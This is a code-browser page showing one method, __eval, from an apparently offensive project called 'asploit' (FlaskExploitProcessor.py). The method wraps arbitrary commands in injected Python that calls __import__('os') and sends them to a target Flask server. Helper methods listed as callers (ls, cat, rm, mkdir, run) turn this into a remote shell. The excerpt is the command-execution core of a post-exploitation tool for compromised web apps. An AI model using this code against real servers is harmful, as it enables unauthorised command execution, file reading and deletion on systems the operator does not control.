MCPcopy Create free account
hub / github.com/Geeoon/asploit / __eval

Method __eval

src/FlaskExploitProcessor.py:30–37  ·  view source on GitHub ↗
(self, command: str)

Source from the content-addressed store, hash-verified

28 @throw CommandException if there is a connection error.
29 """
30 def __eval(self, command: str):
31 res = self._Base__send_message(
32 f"global r;r={self.flask_object}.make_response("
33 f"{self.flask_object},'');"
34 f"__import__('os').chdir('{self.directory}');\n"
35 f"{command}\n"
36 )
37 return res
38
39 """
40 @brief Check if a file exists on the server.

Callers 9

__file_existsMethod · 0.95
_Base__versionMethod · 0.95
_Base__pwdMethod · 0.95
_Base__lsMethod · 0.95
_Base__runMethod · 0.95
_Base__cdMethod · 0.95
_Base__catMethod · 0.95
_Base__rmMethod · 0.95
_Base__mkdirMethod · 0.95

Calls 1

_Base__send_messageMethod · 0.95

Tested by

no test coverage detected